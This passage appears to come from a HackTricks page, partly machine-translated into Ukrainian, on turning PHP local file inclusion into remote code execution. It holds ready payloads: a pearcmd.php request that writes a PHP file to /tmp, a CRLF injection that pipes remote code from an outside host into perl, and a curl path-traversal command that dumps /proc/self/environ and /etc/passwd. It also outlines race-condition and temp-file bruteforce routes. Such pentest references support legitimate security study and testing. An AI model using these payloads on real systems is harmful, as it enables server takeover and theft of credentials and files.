As explained in this post, скрипт /usr/local/lib/phppearcmd.php існує за замовчуванням в php docker images. Більше того, можливо передавати аргументи в скрипт через URL, оскільки вказано, що якщо URL-параметр не має =, він має використовуватися як аргумент. Див. також watchTowr’s write-up та Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Нижче показано приклад, який зловживає CRLF vuln, щоб отримати RCE (з here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Через phpinfo() (file_uploads = on)
Якщо ви знайшли Local File Inclusion і файл, що викликає phpinfo() з file_uploads = on, ви можете отримати RCE:
Через compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Якщо ви знайшли Local File Inclusion і ви can exfiltrate the path тимчасового файлу, АЛЕ сервер перевіряє, чи файл, який буде включений, має PHP-мітки, ви можете спробувати bypass that check за допомогою цієї Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Через eternal waiting + bruteforce
Якщо ви можете зловживати LFI, щоб завантажувати тимчасові файли і змусити сервер зависнути виконання PHP, тоді ви можете brute force filenames during hours, щоб знайти тимчасовий файл:
До фатальної помилки
Якщо ви включите будь-який із файлів /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
Я не знаю, наскільки це корисно, але можливо.
Навіть якщо ви спричините PHP Fatal Error, тимчасові PHP файли, які були завантажені, видаляються.
.png)
Збереження послідовностей обходу з боку клієнта
Деякі HTTP-клієнти нормалізують або стискають ../ перед тим, як запит дістанеться сервера, що ламає directory traversal payloads. Використовуйте curl --path-as-is, щоб зберегти traversal без змін при зловживанні log/download endpoints, які конкатенують кероване користувачем ім’я файлу, і додайте --ignore-content-length для псевдо-файлів, таких як /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Підлаштуйте кількість сегментів ../ доти, поки не вийдете за межі призначеного каталогу, а потім вивантажте /etc/passwd, /proc/self/cwd/app.py або інші файли з кодом/конфігурацією.
Посилання
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


